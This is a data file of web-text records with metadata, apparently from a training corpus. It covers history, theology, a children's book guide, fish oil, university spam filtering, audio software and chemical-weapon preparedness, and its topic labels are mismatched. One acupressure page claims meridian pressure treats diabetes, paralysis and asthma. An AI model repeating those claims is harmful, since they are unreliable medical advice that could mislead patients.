belonged to the 16th president was in the hands of a watchmaker when fort sumter was fired upon. the watchmaker marked the historic event by secretly inscribing something on the inside of the watch. after lincoln was assassinated, he told family and friends that he had inscribed the following words : \" the first gun is fired. slavery is dead. thank god we have a president who at least will try. \" recently, the watchmaker ' s descendant had the watch opened to see if this was truth or legend and it was then revealed that the watchmaker had actually written the following : \" jonathan dillon april 13 - 1861. fort sumpter [ sic ] was attacked by the rebels on the above date thank god we have a government. \" he added ' washington ' and his name again. \" no reference whatsoever to the watch ' s owner ( lincoln ). no reference whatsoever to what lincoln ostensibly went to war over - slavery. only thankfulness for the \" government \" or, by reference, \" the union \", which is what lincoln actually fought for. also, by mentioning \" washington \" was the watchmaker tying the cause to the \" untarnished greatness \" of our nation ' s first president? the evidence suggests the watchmaker had embellished the story after the war was over which, i believe, illustrates that many northerners wanted to change the focus from \" saving the union \" to \" freeing the slaves. \"", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47962580636838226, "token_count": 392, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.473711"} {"text": "related links in the gsr : related links in the library : st thomas aquinas ( b. 1225, near aquino, sicily ) was an italian dominican theologian whose scholarship propelled him to the first rank among the scholastics of the middle ages. his major works are the summa theologiae and the summa contra gentiles. thomas joined the dominican order in his teens and was sent in 1245 to study at the university of paris. his mentor there was albertus magnus ( 1206 - 80 ), a noted scholar during a time when the influx of arabic - aristotelian thought was arousing a sharp reaction among christians. some feared that islam ' s appropriation of the ancient philosophers would somehow be used to prove a rational basis for islam over christianity. others feared the influence of rationalism, especially the form advocated by the adherents taking up the work begun by boethius, both thomas and albertus believed that philosophy could be used to strengthen religious conviction in general, and to vindicate christianity in particular. the two men traveled to cologne in 1248 and remained there for four years, studying and conducting classes. in 1252 the two returned to paris so that thomas could prepare for the master ' s degree. he obtained his degree in 1256 and began teaching that year. in 1259 he was appointed adviser and lecturer to the papal curia. he remained in that position until 1268, and then returned to paris to argue his position concerning the relation of faith and reason. like augustine, boethius, rhazes, averroes, maimonides, and even the founder of neoplatonism, plotinus, aquinas did not believe that philosophy and religion were in conflict. he went the furthest of them all, however, in attempting to delineate, in good aristotelian fashion, the various categories that constitute the spiritual nature of man. where augustine relied on a platonist notion of the abstract but perfectly real city of god versus the corrupt and sinful city of man, aquinas, who otherwise accepted humankind ' s helplessness without god ' s active grace, attempted to show that man ' s imperfection and its relation to the divine could be understood and described rationally. ironically, some have argued, this very attempt placed religion and philosophy in even sharper contrast to each other. on the one hand, the tools of reason imply a definite power on the part of man to comprehend creation ; on the other hand, human imperfection denies that", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43197868428670927, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.477674"} {"text": "argued, this very attempt placed religion and philosophy in even sharper contrast to each other. on the one hand, the tools of reason imply a definite power on the part of man to comprehend creation ; on the other hand, human imperfection denies that this is ultimately possible. this tension eventually worked to break asunder the delicate consensus over the mysterious union of free will in a divinely predestined universe, with some theologians favoring one or the other extreme, as exemplified in the later split between luther and erasmus. but these consequences were not aquinas ' s intention. indeed, the \" neo \" - averroeists in the west, also taking their predecessor ' s positions to unintended extremes and contending that reason was faith, were the main focus of thomas ' s opposition. aquinas hoped to demonstrate that reason could work within faith but was not the same or superior. it was a delicate balance. in 1272, he established a dominican house of studies at the university of naples and defended the aristotelian current of thought against the franciscan scholar bonaventure. aquinas died on his way to the second council of lyons in 1274. he was canonized in 1323. his feast day is january 28. works by the author aquinas, thomas. the soul : a translation of st. thomas aquinas ' de anima. translated by john patrick rowan. st. louis : b. herder book company, 1949. aquinas, thomas. the de magistro of st. thomas aquinas. translated by james shannon. annapolis : st. john ' s bookstore. aquinas, thomas. concerning being and essence. translated by george g. leckie. new york : d. appleton - century company, inc., 1937. aquinas, thomas. truth. 3 vols. translated by robert w. mulligan. chicago : henry regnery company, 1954. aquinas, thomas. the political ideas of st. thomas aquinas. edited by dino bigongiori. new york : hafner publishing company, 1953. aquinas, thomas. selected political writings. translated by j. g. dawson. edited by d ' entreves. oxford : basil blackwell, 1954. aquinas, thomas. basic writings of st. thomas aquinas. 2 vols. edited by anton c. pegis. new york : random house, 1945. aquinas, thomas. the summa theo", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4990903980224611, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.479916"} {"text": "10 discussion questions for young readers the invention of hugo cabret : a novel in words and pictures by brian selznick source : one - minute book reviews, http : / / www. oneminutebookreviews. wordpress. com [ this is a repost in full of a totally unauthorized reading group guide to the invention of hugo cabret that appeared on one - minute book reviews on april 21, 2007. the novel won the american library association ' s 2008 caldecott medal, which honors the most distinguished american picture book for children, on jan. 14, 2008. ] take a 12 - year - old orphan whose name begins with h. write a novel about him that involves magic, a train station and a female sidekick. get scholastic press to publish it \u2026 and what do you have? no, not a new harry potter book. you \u2019 ve got the invention of hugo cabret, a novel about a young thief who lives in a paris train station and tries to finish a project begun by his father \u2013 fixing a broken wind - up man or automaton that may contain a secret message. in this innovative book, brian selznick merges the picture - and chapter - book formats. the invention of hugo cabret has 533 pages, but the text would fill only 100 or so pages of most novels. why? selznick tells hugo \u2019 s story alternately through words and 158 black - and - white pictures. the illustrations are mostly pencil drawings but include memorable stills from the movies of the filmmaker georges melies, whose life helped to inspire the book. this book is called the invention of hugo cabret. what is hugo \u2019 s \u201c invention \u201d? could the word refer to more than one thing? could hugo have \u201c invented \u201d a new life for himself ( or for someone else ) in addition to a mechanical man? brian selznick tells hugo \u2019 s story in a unique way. he uses a lot more pictures than you find in most novels. sometimes he tells hugo \u2019 s story in words and sometimes in pictures. why do you think he did this? how did you like it? what are some advantages and disadvantages of having so many pictures in a novel? selznick also uses only black - and - white pictures on the pages of in this novel, no color ones. what are some reasons why he might have done this? some authors say that they like to use black - and - white art because it lets people use their imagination and fill in the colors in their minds. did", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4622274014123575, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.486359"} {"text": "in this novel, no color ones. what are some reasons why he might have done this? some authors say that they like to use black - and - white art because it lets people use their imagination and fill in the colors in their minds. did you \u201c fill in \u201d any colors while you were reading the book? what are some of the colors you saw in your mind? why? a lot of other authors have at times used only black - and - white pictures. for example, chris van allsburg has done this in some books. and all of the pictures that matt phelan did for susan patron \u2019 s the higher power of lucky, winner of the 2007 newbery award, are black - and - white. what books have you read that have only black - and - white illustrations? how do they compare to the invention of hugo cabret? you may have noticed that a lot of the drawings in this book look as though they have something draped over them. it \u2019 s as though you \u2019 re looking at the pictures through a veil or net. can you think of any reasons why selznick might have used this technique? does it make the story seem a little more mysterious? does it remind you of the lenses you can put on a camera, including a movie camera? hugo loves a movie called the million that he and isabelle go to a theater to see. it has an \u201c amazing \u201d chase in it. \u201c he thought every good story should end with a big, exciting chase. \u201d [ page 202 ] why do you selznick wrote that? what happens right after it in the invention of hugo cabret? hugo spends a lot of time trying to fix things like clocks or the mechanical man, or automaton, that he finds on the street. he likes machines because each one has a purpose. \u201c maybe that \u2019 s why a broken machine always makes me a little sad, because it isn \u2019 t able to do what it was meant to do, \u201d hugo says. he adds, \u201c maybe it \u2019 s the same with people. if you lose your purpose \u2026 it \u2019 s like you \u2019 re broken. \u201d [ page 374 ] how does this relate to the rest of the novel? the story of prometheus is important in the invention of hugo cabret. there \u2019 s a picture of prometheus on pages 344 \u2013 345. we learn that he was \u201c finally set free \u201d from his chains. what character or characters in this book does he resemble? hugo \u2019 s friend isabelle loves looking", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4935668201834461, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.487304"} {"text": "cabret. there \u2019 s a picture of prometheus on pages 344 \u2013 345. we learn that he was \u201c finally set free \u201d from his chains. what character or characters in this book does he resemble? hugo \u2019 s friend isabelle loves looking at photographs. she says, \u201c you can make up your own story when you look at a photo. \u201d [ page 193 ] pick a photograph in the invention of hugo cabret and make up a story to go with it. you might start with the picture of the man hanging from the clock on pages 173 \u2013 174 or with the picture of the rocket crashing into the moon on pages 352 \u2013 353. hugo thinks it \u2019 s his fault that his father had died in a fire. [ page 124 ] do you agree or disagree with him? why? if you \u2019 ve read any of the harry potter books or seen the movies, you may have noticed that the invention of hugo cabret has some things in common with them. what are some of them? often a novel is written by one person and illustrated by another. that \u2019 s because not many people are equally good at writing and drawing. most of us are better at one or the other. the invention of hugo cabret is unusual in that selznick both wrote and illustrated it. do you think he was better at writing or drawing? which did you like better in his novel, the words or the pictures? why? the invention of hugo cabret : a novel in words and pictures. by brian selznick. scholastic, 533 pp., $ 22. 99. ages 9 \u2013 12. published : january 2007. winner of the caldecott medal from the american library association www. ala. org on january 14, 2008. this reading group was not authorized or approved by the author, publisher or agent for the book. this guide is copyrighted by janice harayda, and its sale or reproduction in any form is illegal except by public libraries that many reproduce it for use in their in - house reading groups. other groups that wish to use this guide should link to this site or use \u201c contact \u201d page on one - minute book reviews to learn how to request permission to reproduce the guide. if you are a librarian and found this guide helpful, please consider adding one - minute book reviews http : / / www. oneminutebookreviews. wordpress. com to the \u201c ready reference \u201d links at your library. one - minute book reviews accepts no advertising and has been approved by, and appears", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5077424648039265, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.488247"} {"text": "fish oil supplements of so - called omega - 3 fatty acids, found in oily fish like tuna and salmon, may not do much to ward off heart attacks and strokes in people who already have heart disease, according to an international analysis. the research, which appeared in the archives of internal medicine and covered 14 studies, found that there was no difference in the number of heart attacks, strokes or deaths among more than 20, 000 people with heart disease who were randomly assigned to take either fish oil supplement or fish oil free placebo pills. research has been mixed on the possible heart - related benefits of the omega - 3 fatty acids, specifically those known as epa and dha, which can be taken as fish oil supplements as well as eaten. places such as the american heart association recommend at least two servings of such fish a week. \" there is a common perception that fish oil supplements have been proven to prevent cardiovascular disease, and in fact the evidence has been inconsistent and inconclusive, \" said joann manson, head of preventive medicine at brigham and women ' s hospital in boston, who co - wrote a commentary published with the study. \" it ' s an important issue, because a large percentage of the population is taking fish oil supplements over - the - counter, \" she told reuters health. researchers from korea combined the results of 14 studies that tracked heart disease patients taking fish oil or a placebo, without knowing which they were getting, for between one and five years. that included reports from the united states and india, as well as italy, germany and elsewhere in europe. those who were assigned to take the fish oil supplements were just as likely to have a range of heart - related emergencies, or to die, as study participants taking placebos containing vegetable oil or other substances not associated with heart health.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43353726238649826, "token_count": 366, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.490142"} {"text": "- safety and security - network and phone - mobile devices blocking e - mail spam network engineering uses several tools to help keep spam from reaching your mailbox. read on for more information about what we are doing to prevent spam, what you can do, and how to keep your address off of spammers ' lists. what is spam? spam is defined as unsolicited, bulk e - mail. typically spam comes from strangers - people who have obtained your e - mail address without your permission. if you signed up for the mailing ( intentionally or accidentally ), it may be undesirable e - mail, but it is not technically spam. likewise, if you have some sort of business relationship with the sender, it is not spam. so, an e - mail sent to you from your bank, an online service you signed up for, or your department at osu would not be considered spam. note : using osu ' s e - mail system to send unauthorized bulk mailings is against the acceptable use policy. for information about how to do a bulk mailing at osu correctly, please see the guidelines for release of e - mail addresses. step 1 - using filtering on your account step 2 - reporting spam if step 1 doesn ' t stop the spam from coming through, you can report the spam to osu network engineering : greylisting works by sending a temporary failure message on the first attempt of a unique combination of sender ip, sender and recipient. legitimate, properly - configured mail servers deal with a temporary failure by queuing the message and resending later ( typically within 15 to 30 minutes ). on subsequent attempts to send a message, the greylisting server allows the message to be delivered. greylisting works as an effective method to prevent spam because spammers typically do not bother to queue mail. rather they blast the spam out once and ignore delivery failures. the downside of greylisting is that it may cause a legitimate message to be delayed. messages may also appear to arrive out of order, as subsequent messages from the same sender are not delayed. also some sites do not queue and redeliver messages properly. osu addresses these issues by building up a comprehensive whitelist of allowed senders. if there are sites that you are concerned about, please send us a list at net ( at ) oregonstate. edu, and we will add them to the whitelist. note : grey", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5428588329827857, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.497465"} {"text": "up a comprehensive whitelist of allowed senders. if there are sites that you are concerned about, please send us a list at net ( at ) oregonstate. edu, and we will add them to the whitelist. note : greylisting does not apply to e - mail sent within osu. real - time black hole lists ( rbls ) a rbl is a list of hosts that are known untrustworthy e - mail senders. when we receive email from one of these sites, we bounce the message back to the site with an explanation that they are in an rbl and a link with directions on how to get unlisted from it. in addition to rbls, we have an access list of domain names and email addresses of known spammers that we reject mail from. we also block mail from dynamic ip ranges, because mail servers should never have a dynamic ip. finally, we block mail from dialup users and cable modem users - these users must relay through their isp ' s mail server ( or they can relay through osu with onid authentication ). we use the following rbls at osu - spamhaus. org pbl ( pbl. spamhaus. org ) - spamhaus. org sbl ( sbl. spamhaus. org ) - spamhaus. org xbl ( xbl. spamhaus. org ) - dynablock ( dynablock. njabl. org ) - njabl. org ( dnsbl. njabl. org ) - virbl - virus black list ( virbl. dnsbl. bit. nl ) if you are having trouble receiving mail from another site because they are listed in one of our rbls, please tell the person at the remote location to contact their e - mail administrator or isp and give them the information in the bounce message that they received from osu. contact us at net ( at ) oregonstate. edu if the sending site is unable or unwilling to get unlisted - we may be able to help them get unlisted, or whitelist the site here. for more information about phishing, please see the phishing helpdoc page. osu blocks e - mail messages that contain a reply - to address that goes to a known phisher. if practical, we will also \" poison dns \" for links included in phishing e - mails, so that clicking the link will redirect", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.521499389944909, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.498350"} {"text": "e - mail messages that contain a reply - to address that goes to a known phisher. if practical, we will also \" poison dns \" for links included in phishing e - mails, so that clicking the link will redirect you to a safe page instead. if you respond in any way to a phishing e - mail that asks for your username and password, we will disable your account and ask you to reset your password. osu has had several accounts become hacked in the past and these hacked accounts have been used to send hundreds of thousands of spam e - mails to osu and to the world, causing serious e - mail disruption. never respond to phishing e - mails! content - based filtering & spamassassin content - based filtering refers to sorting or deleting mail based on the content of the message itself. we do content - based tagging at the mail relays using spamassassin, and these tags can be used to filter spam in your e - mail client. many e - mail clients now come with \" junk mail \" filters built - in, which you can turn on to help sort out the messages you don ' t want to see. when you use a junk mail filter, make sure that you set it to sort the unwanted mail into a junk folder, rather than your deleted items. that way, you can check the junk folder once in a while to make sure that no innocent e - mails have ended up there. spamassassin headers that you can filter on : x - spam - flag : yes ( indicates that this message has a score of 5 or more ) x - spam - level : * * * * * * * * ( the number of stars indicates the spam score ) for example, to filter all messages with a score of 3 or higher, you could create a rule in your email client to match on \" x - spam - level : * * * \". how to keep your e - mail address off spam lists the best way to avoid being spammed is to be careful how you share your e - mail address. every time that you sign up for something online and provide your e - mail address to do so, you are potentially sharing your contact information with not only that site, but with third parties as well. the following are things you can do to keep your address off spammers ' lists : - don ' t sign up for work - at - home or other", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.503643722287461, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.499419"} {"text": "potentially sharing your contact information with not only that site, but with third parties as well. the following are things you can do to keep your address off spammers ' lists : - don ' t sign up for work - at - home or other too - good - to - be - true offers ; they are typically scams and your contact information will definitely go to spammers. - never reply to spam or phishing emails. if you do, it verifies to the spammer that your address is a real working address and that makes it even more valuable to them ( and makes it more likely that you will get more spam ). - if you post your e - mail address on a publicly accesible website, try to obscure it in some way ( e. g. bob ( at ) oregonstate. edu ). - when signing up for various accounts online, uncheck the boxes that ask about putting you on their mailing list. typically these will be checked by default. osu email statistics where does spam come from? in the past, most spam came from misconfigured mail servers or proxy servers. but today most spam comes from virus - infected personal computers, hacked e - mail accounts and free e - mail providers. see the wikipedia article on spam for more information about how spammers operate. one very important thing that you can do in the fight against spam is to keep your computer up - to - date on software patches and anti - virus software. it ' s also a good idea to run a personal firewall. use caution when opening e - mails from addresses you don ' t recognize, and always scan email attachments for viruses. if your computer has become noticeably slower, it ' s a good idea to run virus - detection software. finally : never share your password!", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.414290682843801, "token_count": 380, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.500136"} {"text": "| user guide | transform guide | osw on the web | many real - time computer - music systems employ two different notions of time : \u201c physical time \u201d that is associated with hardware clocks and low - level scheduling, and \u201c virtual time \u201d which can be scaled or otherwise controlled by the user. osw provides a unified user - configurable view of physical and virtual time that encompasses both system functions ( such as scheduling and sample clocks ) and user control. all transforms that depend on time, such as the sinewave transform, a sample playback transform or a midi sequencer are automatically synchronized to a single clock ( by default, the clock of an audio device being used ). users can gain more explicit control over time by optionally connecting such time - dependent components to time machines, special transforms that map physical time from clocks to virtual time, or scale virtual time output from other time machines. time machines include parameters for scaling virtual time or resetting to a specified value ( i. e., \" go to this time \" ), thus allowing users to control the flow of time in the connected signal - processing components. the control functions can be arbitrarily complex, and include user input from midi or high - resolution gestural input devices. consider the following example that uses two time machines : both sinewave transforms are explicitly synchronized to the same time source via time machine tm0. however, while slow is directly connected to tm0, fast is connected to tm0 through a second time machine, tm1, which scales time by a factor of 1. 5 ( i. e., time at tm1 \u201c runs 1. 5 times faster \u201d ). even though both fast and slow are set to the same frequency ( 261hz or middle c ), the explicit speedup of time into fast will cause it to sound 1. 5 times ( or a perfect fifth ) higher. a similar example is used in the \u201c rate controls pitch \u201d tutorial. time machines can be used to mimic the speed control on profession record players or tape decks ( see the sample loop tutorial example ), or as an expressive tempo controller when playing scores. when you connect a signal generator, such as a sinewave or a noise generator, to an audio output, it will continuously generate samples as long as the audio output is turned on. however, if a sinewave transform is connected to a time machine, it will only generate output when it receives time input. thus, time machines can", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5678561966270526, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.504036"} {"text": "an audio output, it will continuously generate samples as long as the audio output is turned on. however, if a sinewave transform is connected to a time machine, it will only generate output when it receives time input. thus, time machines can be used to switch signals on and off even while the audio output is on : turning the toggle on sets the switch to 1, routing time output from the time machine tm1 to the brownnoise transform, which then outputs samples. if the switch is set to 0 ( by turning the toggle off ), then output from the time machine will no longer be routed to the noise generator, which is effectively shut off. you can also use time machines to switch among several potential signals in a patch : setting the switch from 0, 1 or 2 switches on the sinewave, phasor or noise generator. open the switcheroo tutorial to try out the examples in this section. implicit and explicit time machines can be used to control not only signals, but events as well. the most general method for synchronizing events to the osw time system is through the ticker transform. the ticker transform can be used to emit units at regular time intervals that can be controlled by the user. tickers can be used to design systems based on regular events, such as complex music sequencers. it is also used by transforms such as wacom ( the graphics - tablet interface ) that poll input devices at regular intervals. music - playing transforms, such as the midisequencer for standard sequencing of midi files and the playscore for the more general osw score format, can be controled via time machines ( see chapter 4 for more details on the osw score system ). time machines allow expressive control of both the tempo and control of such musical sequencers. patches can also sequence events stored in osw lists by attaching a ticker to a list : : sequence transform. ticker allows users to synchronize events to regular time intervals. events that happen at specific times rather than regular intervals can be triggered using the oneshot transform. oneshot emits a unit value when its time input ( either an implicit connection to the main clock or an explicit connection to a time machine ) reaches a specified time. oneshot is useful for events that happen only once at a specific time during a program ' s execution, or at irregular intervals by explicit control via a time machine.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.542093674833225, "token_count": 498, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.504973"} {"text": "do you know at sai alpha, acupressure points are applied, along with a combination of heating effect of far infrared light with the help of infrared acupressure massagers. these massagers have proven to be much more effective than by giving acupressure point alone. the acupressure points are applied in such a way so as to cover the whole spinal cord along with stomach. there are 365 acupuncture points on our body. most of these points lie along & near the spine, comprising the 12 primary meridian pathways, crucial for the well being of one \u2019 s health. the acupressure treatment is carried out with pressure points, and not needles. the science of acupressure therapy is based on a theory that is totally different from allopathy ( i. e. western medicine ). the acupresure point theory states that the human body has some \" imaginary meridians \" that carry energy throughout the body. these meridians start at the fingertips, connect to the brain, and then connect to the organ associated with the specific meridian. the names of these meridians specify the organ associated with them as is clear from the \" acupressure point chart \" given below. for example, the lung meridian is connected to the lungs via the nervous system. theoretically, a lung problem arises if there is an obstruction in the lung meridian that slows down the flow of energy. if somehow the obstruction is removed or dissolved, the energy flow becomes regular and the lungs start functioning well. how is the obstruction removed? the answer to this question defines the basic concept of acupressure. usually, an analogy of a water pipe makes this concept easier to understand and visualize. a stone in a pipe that carries water lowers the rate at which the water flows through the pipe. if the - pipe is pinched right before the area where the stone is located and the water is allowed to build up, the potential energy of the water that is stopped from flowing rises. when the water that has high potential energy is freed by releasing the pinch, water flows faster than normal, pushing the obstruction alone, with it. the obstruction is thus removed from the area and enables the water to resume its flow. this is exactly the way acupressure works. the theory states that obstruction in meridians cause the energy to flow slower which results in a malfunction or even dysfunction in the organ that is associated with the meridian. the acupressure therapy technique is used to remove the obstruction so that", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.54229485122759, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.508760"} {"text": ". the theory states that obstruction in meridians cause the energy to flow slower which results in a malfunction or even dysfunction in the organ that is associated with the meridian. the acupressure therapy technique is used to remove the obstruction so that energy can flow with regularity and the organ can be made to resume its normal function. one interesting theory of acupressure therapy states that it is not necessarily the organ that relates to the system the cause of the problem. refer to nervous system chart. it is the \" root cause \" that is the main cause of the disease / malfunction and if the root problem is cured, the external problem is cured as well. this can be explained in an easier way by using, an example. suppose a person is suffering from asthma. an allopathic doctor would prescribe a medicine or steroid that would give rest to the lungs and relieve the symptoms because an allopathic thinks that the cause for asthma problems is the lungs. an acupressurist on the other hand, will try to find the root cause i. e. the reason why the lungs are malfunctioning. an acupressurist would read the whole body ( please see acupressure point chart ) by reading energy pulses located on the arms to diagnose the root cause and once the root cause is diagnosed, the doctor will give acupressure points to cure that specific problem, not asthma. a root cause could be anything like poor digestion, excessive heat, bad circulation, depression, or bad hormones. a root cause could even be just the organ that is giving the problem. so a person with asthma could have weak lungs that are the root cause of the problem. there have been cases where people with totally healthy lungs suffer from asthma because of other problems like bad stomach, weak circulation, or even bad hormones, and allopathic doctors give them steroids like cortisone to \" cure the weak lungs \". 1. relieves stress & tension 2. relaxes mind & body 3. increases blood oxygenation & circulation 4. aids in the removal of toxic wastes 5. provides relief from head, neck & shoulder aches 6. stimulates speedy healing of injuries 7. increases energy levels 8. helps in treatment of back pain, sciatica, piles, slipped disk, arthritis, migraine, blood pressure, diabetes, paralysis, acidity, constipation, numbness, skin problems, nerves disorder etc. we have helped several people with", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5425508092205272, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.509641"} {"text": "disaster preparedness chemical wmd chemical agents are poisonous gases, liquids or solids that have toxic effects on people, animals or plants. chemical incidents are characterized by the rapid onset of medical symptoms and easily observed signatures, such as colored residue, dead foliage, pungent odor and dead animals and insects. most chemical agents cause serious injuries or death. they are classified by their effects : nerve, blood, choking or blister. these weapons kill by destruction or disruption. the infamous \" gases \" of world war i - - mustard gas, for instance - - essentially burn away parts of the respiratory system. more modern nerve gases - - tabun, sarin and vx - - disrupt the chemical processes through which one nerve cell communicates with another. severity of injuries depends on the type and amount of the chemical agent used, and the duration of exposure. chemical agents are generally liquid when containerized but are disseminated as an aerosol or gas. to be effective, chemical agents must be dispersed in sufficient quantity to cause serious damage. these agents are heavily influenced by weather conditions, such as temperature, wind speed and direction, humidity and air stability, that make it difficult to achieve sufficient concentrations to be effective in an open - air environment. unlike biological and radiological weapons, chemical agents are fast acting. protection from these agents requires full respiratory and skin protection. were a chemical agent attack to occur, authorities would instruct residents to either seek shelter where they are and seal the premises or evacuate immediately. exposure to chemical agents can be fatal. leaving the shelter to rescue or assist victims can be a deadly decision. there is no assistance that the untrained can offer that would likely be of any value to the victims of chemical agents. in this section, we discuss sarin gas, mustard gas, vx and tabun. sarin is a manufactured compound that is toxic to humans. it is colorless, odorless and tasteless ; it also is highly volatile and highly lethal, occurring both as a liquid and vaporized as a gas. the gas, which is 26 times more deadly than cyanide gas, causes severe damage to the respiratory system, and difficulty breathing may render the victim unconscious. sarin is rapidly absorbed through the skin, but vaporized sarin is mainly absorbed through the respiratory tract and conjunctiva. most victims encounter vaporized sarin, which affects the eyes and the respiratory system. six - tenths of a milligram of sarin is enough to kill an adult. sarin was developed by nazi", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5419880461696592, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.519626"} {"text": "respiratory tract and conjunctiva. most victims encounter vaporized sarin, which affects the eyes and the respiratory system. six - tenths of a milligram of sarin is enough to kill an adult. sarin was developed by nazi scientists in germany in the 1930s. it was named for its four discoverers : schrader, ambrose, rudriger and van der linde. the united states began producing sarin in the early 1950s ; production ceased in 1956. it was produced and stockpiled in large quantities by both the united states and the soviet union. in 1995, the aum shinrikyo sect released sarin in the tokyo subway, killing 12 and injuring 5, 500 people. in that attack, sarin was transported as a liquid, in packages that resembled lunch boxes or bottled drinks. the packages were then punctured with umbrellas and began to leak a thick liquid containing sarin. vaporized, sarin is slightly heavier than air, so it hovers near the ground. humidity causes sarin to degrade, but warmer temperatures increase sarin ' s lethal duration, despite humidity. early symptoms include difficulty breathing, nausea, drowsiness, convulsions and miosis ( pupils in the eye shrink to the size of pinpoints ). exposure can also result in bleeding from orifices - witnesses in the tokyo attack said that victims had blood gushing from their noses and mouths. the pupils narrow to pinpoints, harming vision. drooling, runny nose, tears, tightness in chest, difficulty breathing, nausea, vomiting, headache and convulsions are among other symptoms. death does not always come with a warning and may be caused by cardiac arrhythmia and respiratory arrest. if sarin is released in the air, a person should try to hold his breath until a protective mask is put on. those displaying severe symptoms would receive intravenous treatment with an antidote. if a person ' s breathing has stopped, cpr would be performed but not mouth - to - mouth resuscitation if the facial skin has been contaminated. if a person has difficulty breathing, oxygen would be administered. if a person ' s eyes have been exposed, they should be flushed with water for 10 to 15 minutes. if a person ' s skin has been exposed, he should don a protective mask and remove clothing, then wash the skin with copious amounts of soap and water or a solution of 5 percent household bleach. medical attention should be", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5268107548665962, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.520527"} {"text": "15 minutes. if a person ' s skin has been exposed, he should don a protective mask and remove clothing, then wash the skin with copious amounts of soap and water or a solution of 5 percent household bleach. medical attention should be sought under any of the above circumstances. those infected with sarin can be treated, but a potentially fatal dose requires swift treatment with injected antidotes. recovery depends on degree of exposure to sarin and how rapidly medical treatment is provided. death may occur within one to 10 minutes of inhalation exposure to a minute amount of sarin. the information about sarin was compiled from the following sources : southern medical association u. s. army soldier and biological chemical command council on foreign relations centers for disease control cdc fact sheets on agents mustard gas is a colorless, oily, odorless liquid that can be vaporized to form a gas. when mixed with other chemicals, it has a brownish tint and develops a pungent, garlicky odor. mustard gas enters the body through inhalation or skin contact, and it damages any tissue that comes into contact with it. it is more harmful to the skin on hot, humid days or in tropical climates. mustard gas was used in chemical warfare in world war i and world war ii. it was so powerful that only small amounts had to be added to explosives for it to be effective. once in the soil, mustard gas remains active for several weeks. it was also used at one time in the topical treatment of psoriasis. mustard gas burns the skin and causes blisters within a few days. the blisters may grow quite large and may be yellowish - brown in color. the parts of the body that are sweaty are the most likely to be harmed. it makes a person ' s eyes burn, eyelids swell and causes blinking. it attacks the corneas and can cause blindness. if inhaled, it can cause coughing, bronchitis and long - term respiratory disease. it can cause cancer in a person ' s airways and lungs later in life. some of the chemicals that are formed when mustard gas is burned or spilled into water can also be irritating to the skin. treatment has traditionally involved rapid decontamination and symptomatic treatment. victims should be moved into an area with fresh air as soon as possible. contaminated clothing should be removed as soon as possible. if a person ' s eyes are exposed, they must be flushed with lukewarm water for at least 15 minutes. exposed skin should be washed thoroughly", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46619223652716646, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": 